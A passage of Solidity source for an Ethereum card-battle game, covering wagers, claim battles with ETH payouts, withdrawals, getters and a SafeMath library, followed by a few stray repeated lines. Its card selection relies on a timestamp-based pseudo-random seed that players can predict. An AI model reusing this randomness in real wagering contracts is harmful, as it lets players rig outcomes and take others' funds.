isAlreadyWagered; (firstMatchedIndex, isAlreadyWagered, , , ) = getOwnerOfCardsCheapestWager(msg.sender, cardAddress); // calling the above method will automatically reinforce the check that the cardAddress exists // as well as the owner actually owning the card // we can only cancel a wager if there already is one require(isAlreadyWagered); // double check to make sure the card is actually owned by the sender require(msg.sender == _ownersOf[cardAddress][firstMatchedIndex]); // now write the new data _ownersClaimPriceOf[cardAddress][firstMatchedIndex] = 0; // now update our statistics updateCardStatistics(cardAddress); // now that we&#39;re done, it&#39;s time to log the event AddressCardWagerWasCancelled(cardAddress, msg.sender); } // this is the main battle function of the contract, it takes the card address you // wish to claim as well as your card choices as input. a lot of complex calculations // happen within this function and in the end, a result will be determined on whether // you won the claim or not. at the end, an event will be logged with all of the information // about what happened in the battle including the final result, the contenders, // the card choices (yours and your opponenets) as well as the final attack and defence numbers. // this function will revert if the msg.value does not match the current minimum claim value // of the card address you are attempting to claim. function attemptToClaimCard(address cardAddress, address[3] choices) public payable { // a lot of the functionality of attemptToClaimCard() is calculated in other methods as // there is only a 16 local variable limit per method and we need a lot more than that // see ownerCanClaimCard() below, this ensures we can actually claim the card we are after // by running through various requirement checks address claimContender; uint256 claimContenderIndex; (claimContender, claimContenderIndex) = ownerCanClaimCard(msg.sender, cardAddress, choices, msg.value); address[3] memory opponentCardChoices = generateCardsFromClaimForOpponent(cardAddress, claimContender); uint256[3][2] memory allFinalAttackFigures; uint256[3][2] memory allFinalDefenceFigures; (allFinalAttackFigures, allFinalDefenceFigures) = calculateAdjustedFiguresForBattle(choices, opponentCardChoices); // after this point we have all of the modified attack and defence figures // in the arrays above. the way the winner is determined is by counting // how many attack points get through in total for each card, this is // calculated by simply doing; // opponentsHits = yourCard[attack] - opponentsCard[defence] // if the defence of the opposing card is greater than the attack value, // no hits will be taken. // at the end, all hits are added up and the winner is the one with // the least total amount of hits, if it is a draw, the wager will be // returned to the sender (minus the dev fee) uint256[2] memory totalHits = [ uint256(0), uint256(0) ]; for (uint256 i = 0; i < 3; i++) { // start with the opponent attack to you totalHits[0] += (allFinalAttackFigures[1][i] > allFinalDefenceFigures[0][i] ? allFinalAttackFigures[1][i] - allFinalDefenceFigures[0][i] : 0); // then your attack to the opponent totalHits[1] += (allFinalAttackFigures[0][i] > allFinalDefenceFigures[1][i] ? allFinalAttackFigures[0][i] - allFinalDefenceFigures[1][i] : 0); } // before we process the outcome, we should log the event. // order is important here as we should log a successful // claim attempt then a transfer (if that&#39;s what happens) // instead of the other way around ClaimAttempt( totalHits[0] < totalHits[1], // it was successful if we had less hits than the opponent cardAddress, msg.sender, claimContender, choices, opponentCardChoices, allFinalAttackFigures, allFinalDefenceFigures ); // handle the outcomes uint256 tmpAmount; if (totalHits[0] == totalHits[1]) { // we have a draw // hand out the dev tax tmpAmount = SafeMath.div(SafeMath.mul(msg.value, devTax), 100); // 2% _balanceOf[dev] = SafeMath.add(_balanceOf[dev], tmpAmount); // now we return the rest to the sender _balanceOf[msg.sender] = SafeMath.add(_balanceOf[msg.sender], SafeMath.sub(msg.value, tmpAmount)); // 98% } else if (totalHits[0] > totalHits[1]) { // we have more hits so we were unsuccessful // hand out the dev tax tmpAmount = SafeMath.div(SafeMath.mul(msg.value, devTax), 100); // 2% _balanceOf[dev] = SafeMath.add(_balanceOf[dev], tmpAmount); // now we give the rest to the claim contender _balanceOf[claimContender] = SafeMath.add(_balanceOf[claimContender], SafeMath.sub(msg.value, tmpAmount)); // 98% } else { // this means we have less hits than the opponent so we were successful in our claim! // hand out the dev tax tmpAmount = SafeMath.div(SafeMath.mul(msg.value, devTax), 100); // 2% _balanceOf[dev] = SafeMath.add(_balanceOf[dev], tmpAmount); // return half to the sender _balanceOf[msg.sender] = SafeMath.add(_balanceOf[msg.sender], SafeMath.div(msg.value, 2)); // 50% // and now the remainder goes to the claim contender _balanceOf[claimContender] = SafeMath.add(_balanceOf[claimContender], SafeMath.sub(SafeMath.div(msg.value, 2), tmpAmount)); // 48% // finally transfer the ownership of the card from the claim contender to the sender but // first we need to make sure to cancel the wager _ownersClaimPriceOf[cardAddress][claimContenderIndex] = 0; transferCard(cardAddress, claimContender, msg.sender); // now update our statistics updateCardStatistics(cardAddress); } } function transferCardTo(address cardAddress, address toAddress) public { // you can view this internal method below for more details. // all of the requirements around transferring a card are // tested within the transferCard() method. // you are free to gift your own address card to anyone // (assuming there are less than 10 copies circulating). transferCard(cardAddress, msg.sender, toAddress); } ////////////////////////////////////////////////////////////////////// // Wallet Functions function withdrawAmount(uint256 amount) public { require(amount > 0); address sender = msg.sender; uint256 balance = _balanceOf[sender]; require(amount <= balance); // transfer and update the balances _balanceOf[sender] = SafeMath.sub(_balanceOf[sender], amount); sender.transfer(amount); } function withdrawAll() public { address sender = msg.sender; uint256 balance = _balanceOf[sender]; require(balance > 0); // transfer and update the balances _balanceOf[sender] = 0; sender.transfer(balance); } function getBalanceOfSender() public view returns (uint256) { return _balanceOf[msg.sender]; } ////////////////////////////////////////////////////////////////////// // Helper Functions function tmpShuffleSeed(uint256 tmpSeed, uint256 mix) public view returns (uint256) { // really mix it up! uint256 newTmpSeed = tmpSeed; uint256 currentTime = now; uint256 timeMix = currentTime + mix; // in this instance, overflow is ok as we are just shuffling around the bits // first lets square the seed newTmpSeed *= newTmpSeed; // now add our time and mix newTmpSeed += timeMix; // multiply by the time newTmpSeed *= currentTime; // now add our mix newTmpSeed += mix; // and finally multiply by the time and mix newTmpSeed *= timeMix; return newTmpSeed; } function shuffleSeed(uint256 mix) private { // set our seed based on our last seed _seed = tmpShuffleSeed(_seed, mix); } function tmpQuerySeed(uint256 tmpSeed, uint256 modulus) public view returns (uint256 tmpShuffledSeed, uint256 result) { require(modulus > 0); // get our answer uint256 response = tmpSeed % modulus; // now we want to re-mix our seed based off our response uint256 mix = response + 1; // non-zero mix *= modulus; mix += response; mix *= modulus; // now return it return (tmpShuffleSeed(tmpSeed, mix), response); } function querySeed(uint256 modulus) private returns (uint256) { require(modulus > 0); uint256 tmpSeed; uint256 response; (tmpSeed, response) = tmpQuerySeed(_seed, modulus); // tmpSeed will now represent the suffled version of our last seed _seed = tmpSeed; // now return it return response; } function cumulativeIndexOf(uint256[] array, uint256 target) private pure returns (uint256) { bool hasFound = false; uint256 index; uint256 cumulativeTotal = 0; for (uint256 i = 0; i < array.length; i++) { cumulativeTotal += array[i]; if (cumulativeTotal > target) { hasFound = true; index = i; break; } } require(hasFound); return index; } function cardAddressExists(address cardAddress) public view returns (bool) { return _exists[cardAddress]; } function indexOfCardAddress(address cardAddress) public view returns (uint256) { require(cardAddressExists(cardAddress)); return _indexOf[cardAddress]; } function ownerCountOfCard(address owner, address cardAddress) public view returns (uint256) { // both card addresses need to exist in order to own cards require(cardAddressExists(owner)); require(cardAddressExists(cardAddress)); // check if it&#39;s your own address if (owner == cardAddress) { return 0; } uint256 ownerCount = 0; address[] memory owners = _ownersOf[cardAddress]; for (uint256 i = 0; i < owners.length; i++) { if (owner == owners[i]) { ownerCount++; } } return ownerCount; } function ownerHasCard(address owner, address cardAddress) public view returns (bool doesOwn, uint256[] indexes) { // both card addresses need to exist in order to own cards require(cardAddressExists(owner)); require(cardAddressExists(cardAddress)); uint256[] memory ownerIndexes = new uint256[](ownerCountOfCard(owner, cardAddress)); // check if it&#39;s your own address if (owner == cardAddress) { return (true, ownerIndexes); } if (ownerIndexes.length > 0) { uint256 currentIndex = 0; address[] memory owners = _ownersOf[cardAddress]; for (uint256 i = 0; i < owners.length; i++) { if (owner == owners[i]) { ownerIndexes[currentIndex] = i; currentIndex++; } } } // this owner may own multiple copies of the card and so an array of indexes are returned // if the owner does not own the card, it will return (false, []) return (ownerIndexes.length > 0, ownerIndexes); } function ownerHasCardSimple(address owner, address cardAddress) private view returns (bool) { bool doesOwn; (doesOwn, ) = ownerHasCard(owner, cardAddress); return doesOwn; } function ownerCanClaimCard(address owner, address cardAddress, address[3] choices, uint256 amount) private view returns (address currentClaimContender, uint256 claimContenderIndex) { // you cannot claim back your own address cards require(owner != cardAddress); require(cardAddressExists(owner)); require(ownerHasCardSimple(owner, cardAddress) || _cardsOf[owner].length < MAX_UNIQUE_CARDS_PER_ADDRESS); uint256 cheapestIndex; bool canClaim; address claimContender; uint256 lowestClaimPrice; (cheapestIndex, canClaim, claimContender, lowestClaimPrice, ) = getCheapestCardWager(cardAddress); // make sure we can actually claim it and that we are paying the correct amount require(canClaim); require(amount == lowestClaimPrice); // we also need to check that the sender is not the current claim contender require(owner != claimContender); // now check if we own all of our choices for (uint256 i = 0; i < choices.length; i++) { require(ownerHasCardSimple(owner, choices[i])); // if one is not owned, it will trigger a revert } // if no requires have been triggered by this point it means we are able to claim the card // now return the claim contender and their index return (claimContender, cheapestIndex); } function generateCardsFromClaimForOpponent(address cardAddress, address opponentAddress) private returns (address[3]) { require(cardAddressExists(cardAddress)); require(cardAddressExists(opponentAddress)); require(ownerHasCardSimple(opponentAddress, cardAddress)); // generate the opponents cards from their own inventory // it is important to note that at least 1 of their choices // needs to be the card you are attempting to claim address[] memory cardsOfOpponent = _cardsOf[opponentAddress]; address[3] memory opponentCardChoices; uint256 tmpSeed = tmpShuffleSeed(_seed, uint256(opponentAddress)); uint256 tmpModulus; uint256 indexOfClaimableCard; (tmpSeed, indexOfClaimableCard) = tmpQuerySeed(tmpSeed, 3); // 0, 1 or 2 for (uint256 i = 0; i < 3; i++) { if (i == indexOfClaimableCard) { opponentCardChoices[i] = cardAddress; } else { (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, cardsOfOpponent.length); opponentCardChoices[i] = cardsOfOpponent[tmpModulus]; } } // finally we need to update the main seed and as we initially started with // the current main seed, tmpSeed will be the current representation of the seed _seed = tmpSeed; return opponentCardChoices; } function updateCardStatistics(address cardAddress) private { AddressCard storage addressCardClaimed = _addressCards[_indexOf[cardAddress]]; address claimContender; uint256 lowestClaimPrice; uint256 wagerCount; ( , , claimContender, lowestClaimPrice, wagerCount) = getCheapestCardWager(cardAddress); addressCardClaimed._forClaim = uint8(wagerCount); addressCardClaimed._lowestPrice = lowestClaimPrice; addressCardClaimed._claimContender = claimContender; } function transferCard(address cardAddress, address fromAddress, address toAddress) private { require(toAddress != fromAddress); require(cardAddressExists(cardAddress)); require(cardAddressExists(fromAddress)); uint256 firstMatchedIndex; bool isWagered; (firstMatchedIndex, isWagered, , , ) = getOwnerOfCardsCheapestWager(fromAddress, cardAddress); require(isWagered == false); // you cannot transfer a card if it&#39;s currently wagered require(cardAddressExists(toAddress)); require(toAddress != cardAddress); // can&#39;t transfer a card to it&#39;s original address require(ownerHasCardSimple(toAddress, cardAddress) || _cardsOf[toAddress].length < MAX_UNIQUE_CARDS_PER_ADDRESS); // firstly, if toAddress doesn&#39;t have a copy we need to add one if (!ownerHasCardSimple(toAddress, cardAddress)) { _cardsOf[toAddress].push(cardAddress); } // now check whether the fromAddress is just our original card // address, if this is the case, they are free to transfer out // one of their cards assuming the claim limit is not yet reached if (fromAddress == cardAddress) { // the card is being claimed/gifted AddressCard storage addressCardClaimed = _addressCards[_indexOf[cardAddress]]; require(addressCardClaimed._claimed < CLAIM_LIMIT); // we need to push new data to our arrays _ownersOf[cardAddress].push(toAddress); _ownersClaimPriceOf[cardAddress].push(uint256(0)); // now update the claimed count in the registry addressCardClaimed._claimed = uint8(_ownersOf[cardAddress].length - 1); // we exclude the original address } else { // firstly we need to cache the current index from our fromAddress&#39; _cardsOf uint256 cardIndexOfSender = getCardIndexOfOwner(cardAddress, fromAddress); // now just update the address at the firstMatchedIndex _ownersOf[cardAddress][firstMatchedIndex] = toAddress; // finally check if our fromAddress has any copies of the card left if (!ownerHasCardSimple(fromAddress, cardAddress)) { // if not delete that card from their inventory and make room in the array for (uint256 i = cardIndexOfSender; i < _cardsOf[fromAddress].length - 1; i++) { // shuffle the next value over _cardsOf[fromAddress][i] = _cardsOf[fromAddress][i + 1]; } // now decrease the length _cardsOf[fromAddress].length--; } } // now that we&#39;re done, it&#39;s time to log the event AddressCardWasTransferred(cardAddress, fromAddress, toAddress); } function calculateAdjustedFiguresForBattle(address[3] yourChoices, address[3] opponentsChoices) private view returns (uint256[3][2] allAdjustedAttackFigures, uint256[3][2] allAdjustedDefenceFigures) { // [0] is yours, [1] is your opponents AddressCard[3][2] memory allCards; uint256[3][2] memory allAttackFigures; uint256[3][2] memory allDefenceFigures; bool[2] memory allOfSameType = [ true, true ]; uint256[2] memory cumulativeAttackBonuses = [ uint256(0), uint256(0) ]; uint256[2] memory cumulativeDefenceBonuses = [ uint256(0), uint256(0) ]; for (uint256 i = 0; i < 3; i++) { // cache your cards require(_exists[yourChoices[i]]); allCards[0][i] = _addressCards[_indexOf[yourChoices[i]]]; allAttackFigures[0][i] = allCards[0][i]._attack; allDefenceFigures[0][i] = allCards[0][i]._defence; // cache your opponents cards require(_exists[opponentsChoices[i]]); allCards[1][i] = _addressCards[_indexOf[opponentsChoices[i]]]; allAttackFigures[1][i] = allCards[1][i]._attack; allDefenceFigures[1][i] = allCards[1][i]._defence; } // for the next part, order is quite important as we want the // addition to happen first and then the multiplication to happen // at the very end for the type advantages/resistances ////////////////////////////////////////////////////////////// // the first modifiers that needs to be applied is the // ALL_ATT, ALL_DEF and the ALL_ATT_DEF mod // if all 3 of the chosen cards match the same type // and if at least one of them have the ALL_ATT, ALL_DEF // or ALL_ATT_DEF modifier, all of the cards will receive // the cumulative bonus for att/def/att+def for (i = 0; i < 3; i++) { // start with your cards // compare to see if the types are the same as the previous one if (i > 0 && allCards[0][i]._cardType != allCards[0][i - 1]._cardType) { allOfSameType[0] = false; } // next count up all the modifier values for a total possible bonus if (allCards[0][i]._cardModifier == uint256(MODIFIER.ALL_ATT)) { // all attack // for the ALL_ATT modifier, the additional attack bonus is // stored in the primary value cumulativeAttackBonuses[0] += allCards[0][i]._modifierPrimarayVal; } else if (allCards[0][i]._cardModifier == uint256(MODIFIER.ALL_DEF)) { // all defence // for the ALL_DEF modifier, the additional defence bonus is // stored in the primary value cumulativeDefenceBonuses[0] += allCards[0][i]._modifierPrimarayVal; } else if (allCards[0][i]._cardModifier == uint256(MODIFIER.ALL_ATT_DEF)) { // all attack + defence // for the ALL_ATT_DEF modifier, the additional attack bonus is // stored in the primary value and the additional defence bonus is // stored in the secondary value cumulativeAttackBonuses[0] += allCards[0][i]._modifierPrimarayVal; cumulativeDefenceBonuses[0] += allCards[0][i]._modifierSecondaryVal; } // now do the same for your opponent if (i > 0 && allCards[1][i]._cardType != allCards[1][i - 1]._cardType) { allOfSameType[1] = false; } if (allCards[1][i]._cardModifier == uint256(MODIFIER.ALL_ATT)) { cumulativeAttackBonuses[1] += allCards[1][i]._modifierPrimarayVal; } else if (allCards[1][i]._cardModifier == uint256(MODIFIER.ALL_DEF)) { cumulativeDefenceBonuses[1] += allCards[1][i]._modifierPrimarayVal; } else if (allCards[1][i]._cardModifier == uint256(MODIFIER.ALL_ATT_DEF)) { cumulativeAttackBonuses[1] += allCards[1][i]._modifierPrimarayVal; cumulativeDefenceBonuses[1] += allCards[1][i]._modifierSecondaryVal; } } // we void our bonus if they aren&#39;t all of the type if (!allOfSameType[0]) { cumulativeAttackBonuses[0] = 0; cumulativeDefenceBonuses[0] = 0; } if (!allOfSameType[1]) { cumulativeAttackBonuses[1] = 0; cumulativeDefenceBonuses[1] = 0; } // now add the bonus figures to the initial attack numbers, they will be 0 // if they either weren&#39;t all of the same type or if no cards actually had // the ALL_ modifier for (i = 0; i < 3; i++) { // for your cards allAttackFigures[0][i] += cumulativeAttackBonuses[0]; allDefenceFigures[0][i] += cumulativeDefenceBonuses[0]; // ...and your opponents cards allAttackFigures[1][i] += cumulativeAttackBonuses[1]; allDefenceFigures[1][i] += cumulativeDefenceBonuses[1]; } ////////////////////////////////////////////////////////////// // the second modifier that needs to be applied is the V_ATT // or the V_DEF mod // if the versing card matches the same type listed in the // primaryModifierVal, that card will receive the bonus in // secondaryModifierVal for att/def for (i = 0; i < 3; i++) { // start with your cards if (allCards[0][i]._cardModifier == uint256(MODIFIER.V_ATT)) { // versing attack // check if the versing cards type matches the primary value if (allCards[1][i]._cardType == allCards[0][i]._modifierPrimarayVal) { // add the attack bonus (amount is held in the secondary value) allAttackFigures[0][i] += allCards[0][i]._modifierSecondaryVal; } } else if (allCards[0][i]._cardModifier == uint256(MODIFIER.V_DEF)) { // versing defence // check if the versing cards type matches the primary value if (allCards[1][i]._cardType == allCards[0][i]._modifierPrimarayVal) { // add the defence bonus (amount is held in the secondary value) allDefenceFigures[0][i] += allCards[0][i]._modifierSecondaryVal; } } // now do the same for your opponent if (allCards[1][i]._cardModifier == uint256(MODIFIER.V_ATT)) { if (allCards[0][i]._cardType == allCards[1][i]._modifierPrimarayVal) { allAttackFigures[1][i] += allCards[1][i]._modifierSecondaryVal; } } else if (allCards[1][i]._cardModifier == uint256(MODIFIER.V_DEF)) { if (allCards[0][i]._cardType == allCards[1][i]._modifierPrimarayVal) { allDefenceFigures[1][i] += allCards[1][i]._modifierSecondaryVal; } } } ////////////////////////////////////////////////////////////// // the third modifier that needs to be applied is the type // advantage numbers as well as applying R_V (resists versing // cards type advantage) and A_I (increases your cards advantage) for (i = 0; i < 3; i++) { // start with your cards // first check if the card we&#39;re versing resists our type advantage if (allCards[1][i]._cardModifier != uint256(MODIFIER.R_V)) { // test all the possible combinations of advantages if ( // fire vs nature (allCards[0][i]._cardType == uint256(TYPE.FIRE) && allCards[1][i]._cardType == uint256(TYPE.NATURE)) || // water vs fire (allCards[0][i]._cardType == uint256(TYPE.WATER) && allCards[1][i]._cardType == uint256(TYPE.FIRE)) || // nature vs water (allCards[0][i]._cardType == uint256(TYPE.NATURE) && allCards[1][i]._cardType == uint256(TYPE.WATER)) ) { // now check if your card has a type advantage increase modifier if (allCards[0][i]._cardModifier != uint256(MODIFIER.A_I)) { allAttackFigures[0][i] = SafeMath.div(SafeMath.mul(allAttackFigures[0][i], 3), 2); // x1.5 allDefenceFigures[0][i] = SafeMath.div(SafeMath.mul(allDefenceFigures[0][i], 3), 2); // x1.5 } else { allAttackFigures[0][i] = SafeMath.div(SafeMath.mul(allAttackFigures[0][i], 5), 4); // x1.25 allDefenceFigures[0][i] = SafeMath.div(SafeMath.mul(allDefenceFigures[0][i], 5), 4); // x1.25 } } } // now do the same for your opponent if (allCards[0][i]._cardModifier != uint256(MODIFIER.R_V)) { if ( (allCards[1][i]._cardType == uint256(TYPE.FIRE) && allCards[0][i]._cardType == uint256(TYPE.NATURE)) || (allCards[1][i]._cardType == uint256(TYPE.WATER) && allCards[0][i]._cardType == uint256(TYPE.FIRE)) || (allCards[1][i]._cardType == uint256(TYPE.NATURE) && allCards[0][i]._cardType == uint256(TYPE.WATER)) ) { if (allCards[1][i]._cardModifier != uint256(MODIFIER.A_I)) { allAttackFigures[1][i] = SafeMath.div(SafeMath.mul(allAttackFigures[1][i], 3), 2); // x1.5 allDefenceFigures[1][i] = SafeMath.div(SafeMath.mul(allDefenceFigures[1][i], 3), 2); // x1.5 } else { allAttackFigures[1][i] = SafeMath.div(SafeMath.mul(allAttackFigures[1][i], 5), 4); // x1.25 allDefenceFigures[1][i] = SafeMath.div(SafeMath.mul(allDefenceFigures[1][i], 5), 4); // x1.25 } } } } ////////////////////////////////////////////////////////////// // the final modifier that needs to be applied is the V_SWAP mod // if your card has this modifier, it will swap the final attack // and defence numbers of your card uint256 tmp; for (i = 0; i < 3; i++) { // start with your cards // check if the versing card has the V_SWAP modifier if (allCards[1][i]._cardModifier == uint256(MODIFIER.V_SWAP)) { tmp = allAttackFigures[0][i]; allAttackFigures[0][i] = allDefenceFigures[0][i]; allDefenceFigures[0][i] = tmp; } // ...and your opponents cards if (allCards[0][i]._cardModifier == uint256(MODIFIER.V_SWAP)) { tmp = allAttackFigures[1][i]; allAttackFigures[1][i] = allDefenceFigures[1][i]; allDefenceFigures[1][i] = tmp; } } // we&#39;re all done! return (allAttackFigures, allDefenceFigures); } ////////////////////////////////////////////////////////////////////// // Getter Functions function getCard(address cardAddress) public view returns (uint256 cardIndex, uint256 cardType, uint256 cardModifier, uint256 cardModifierPrimaryVal, uint256 cardModifierSecondaryVal, uint256 attack, uint256 defence, uint256 claimed, uint256 forClaim, uint256 lowestPrice, address claimContender) { require(cardAddressExists(cardAddress)); uint256 index = _indexOf[cardAddress]; AddressCard memory addressCard = _addressCards[index]; return ( index, uint256(addressCard._cardType), uint256(addressCard._cardModifier), uint256(addressCard._modifierPrimarayVal), uint256(addressCard._modifierSecondaryVal), uint256(addressCard._attack), uint256(addressCard._defence), uint256(addressCard._claimed), uint256(addressCard._forClaim), uint256(addressCard._lowestPrice), address(addressCard._claimContender) ); } function getCheapestCardWager(address cardAddress) public view returns (uint256 cheapestIndex, bool isClaimable, address claimContender, uint256 claimPrice, uint256 wagerCount) { require(cardAddressExists(cardAddress)); uint256 cheapestSale = 0; uint256 indexOfCheapestSale = 0; uint256 totalWagers = 0; uint256[] memory allOwnersClaimPrice = _ownersClaimPriceOf[cardAddress]; for (uint256 i = 0; i < allOwnersClaimPrice.length; i++) { uint256 priceAtIndex = allOwnersClaimPrice[i]; if (priceAtIndex != 0) { totalWagers++; if (cheapestSale == 0 || priceAtIndex < cheapestSale) { cheapestSale = priceAtIndex; indexOfCheapestSale = i; } } } return ( indexOfCheapestSale, (cheapestSale > 0), (cheapestSale > 0 ? _ownersOf[cardAddress][indexOfCheapestSale] : address(0)), cheapestSale, totalWagers ); } function getOwnerOfCardsCheapestWager(address owner, address cardAddress) public view returns (uint256 cheapestIndex, bool isSelling, uint256 claimPrice, uint256 priceRank, uint256 outOf) { bool doesOwn; uint256[] memory indexes; (doesOwn, indexes) = ownerHasCard(owner, cardAddress); require(doesOwn); uint256[] memory allOwnersClaimPrice = _ownersClaimPriceOf[cardAddress]; uint256 cheapestSale = 0; uint256 indexOfCheapestSale = 0; // this will handle the case of owner == cardAddress if (indexes.length > 0) { indexOfCheapestSale = indexes[0]; // defaults to the first index matched } else { // also will handle the case of owner == cardAddress cheapestSale = allOwnersClaimPrice[0]; } for (uint256 i = 0; i < indexes.length; i++) { if (allOwnersClaimPrice[indexes[i]] != 0 && (cheapestSale == 0 || allOwnersClaimPrice[indexes[i]] < cheapestSale)) { cheapestSale = allOwnersClaimPrice[indexes[i]]; indexOfCheapestSale = indexes[i]; } } uint256 saleRank = 0; uint256 totalWagers = 0; if (cheapestSale > 0) { saleRank = 1; for (i = 0; i < allOwnersClaimPrice.length; i++) { if (allOwnersClaimPrice[i] != 0) { totalWagers++; if (allOwnersClaimPrice[i] < cheapestSale) { saleRank++; } } } } return ( indexOfCheapestSale, (cheapestSale > 0), cheapestSale, saleRank, totalWagers ); } function getCardIndexOfOwner(address cardAddress, address owner) public view returns (uint256) { require(cardAddressExists(cardAddress)); require(cardAddressExists(owner)); require(ownerHasCardSimple(owner, cardAddress)); uint256 matchedIndex; address[] memory cardsOfOwner = _cardsOf[owner]; for (uint256 i = 0; i < cardsOfOwner.length; i++) { if (cardsOfOwner[i] == cardAddress) { matchedIndex = i; break; } } return matchedIndex; } function getTotalUniqueCards() public view returns (uint256) { return _addressCards.length; } function getAllCardsAddress() public view returns (bytes20[]) { bytes20[] memory allCardsAddress = new bytes20[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsAddress[i] = bytes20(addressCard._cardAddress); } return allCardsAddress; } function getAllCardsType() public view returns (bytes1[]) { bytes1[] memory allCardsType = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsType[i] = bytes1(addressCard._cardType); } return allCardsType; } function getAllCardsModifier() public view returns (bytes1[]) { bytes1[] memory allCardsModifier = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsModifier[i] = bytes1(addressCard._cardModifier); } return allCardsModifier; } function getAllCardsModifierPrimaryVal() public view returns (bytes1[]) { bytes1[] memory allCardsModifierPrimaryVal = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsModifierPrimaryVal[i] = bytes1(addressCard._modifierPrimarayVal); } return allCardsModifierPrimaryVal; } function getAllCardsModifierSecondaryVal() public view returns (bytes1[]) { bytes1[] memory allCardsModifierSecondaryVal = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsModifierSecondaryVal[i] = bytes1(addressCard._modifierSecondaryVal); } return allCardsModifierSecondaryVal; } function getAllCardsAttack() public view returns (bytes1[]) { bytes1[] memory allCardsAttack = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsAttack[i] = bytes1(addressCard._attack); } return allCardsAttack; } function getAllCardsDefence() public view returns (bytes1[]) { bytes1[] memory allCardsDefence = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsDefence[i] = bytes1(addressCard._defence); } return allCardsDefence; } function getAllCardsClaimed() public view returns (bytes1[]) { bytes1[] memory allCardsClaimed = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsClaimed[i] = bytes1(addressCard._claimed); } return allCardsClaimed; } function getAllCardsForClaim() public view returns (bytes1[]) { bytes1[] memory allCardsForClaim = new bytes1[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsForClaim[i] = bytes1(addressCard._forClaim); } return allCardsForClaim; } function getAllCardsLowestPrice() public view returns (bytes32[]) { bytes32[] memory allCardsLowestPrice = new bytes32[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsLowestPrice[i] = bytes32(addressCard._lowestPrice); } return allCardsLowestPrice; } function getAllCardsClaimContender() public view returns (bytes4[]) { // returns the indexes of the claim contender bytes4[] memory allCardsClaimContender = new bytes4[](_addressCards.length); for (uint256 i = 0; i < _addressCards.length; i++) { AddressCard memory addressCard = _addressCards[i]; allCardsClaimContender[i] = bytes4(_indexOf[addressCard._claimContender]); } return allCardsClaimContender; } function getAllOwnersOfCard(address cardAddress) public view returns (bytes4[]) { require(cardAddressExists(cardAddress)); // returns the indexes of the owners address[] memory ownersOfCardAddress = _ownersOf[cardAddress]; bytes4[] memory allOwners = new bytes4[](ownersOfCardAddress.length); for (uint256 i = 0; i < ownersOfCardAddress.length; i++) { allOwners[i] = bytes4(_indexOf[ownersOfCardAddress[i]]); } return allOwners; } function getAllOwnersClaimPriceOfCard(address cardAddress) public view returns (bytes32[]) { require(cardAddressExists(cardAddress)); uint256[] memory ownersClaimPriceOfCardAddress = _ownersClaimPriceOf[cardAddress]; bytes32[] memory allOwnersClaimPrice = new bytes32[](ownersClaimPriceOfCardAddress.length); for (uint256 i = 0; i < ownersClaimPriceOfCardAddress.length; i++) { allOwnersClaimPrice[i] = bytes32(ownersClaimPriceOfCardAddress[i]); } return allOwnersClaimPrice; } function getAllCardAddressesOfOwner(address owner) public view returns (bytes4[]) { require(cardAddressExists(owner)); // returns the indexes of the cards owned address[] memory cardsOfOwner = _cardsOf[owner]; bytes4[] memory allCardAddresses = new bytes4[](cardsOfOwner.length); for (uint256 i = 0; i < cardsOfOwner.length; i++) { allCardAddresses[i] = bytes4(_indexOf[cardsOfOwner[i]]); } return allCardAddresses; } function getAllCardAddressesCountOfOwner(address owner) public view returns (bytes1[]) { require(cardAddressExists(owner)); address[] memory cardsOfOwner = _cardsOf[owner]; bytes1[] memory allCardAddressesCount = new bytes1[](cardsOfOwner.length); for (uint256 i = 0; i < cardsOfOwner.length; i++) { allCardAddressesCount[i] = bytes1(ownerCountOfCard(owner, cardsOfOwner[i])); } return allCardAddressesCount; } ////////////////////////////////////////////////////////////////////// } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (ie if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
we&#39;re all done!
return (allAttackFigures, allDefenceFigures);
2,397,883
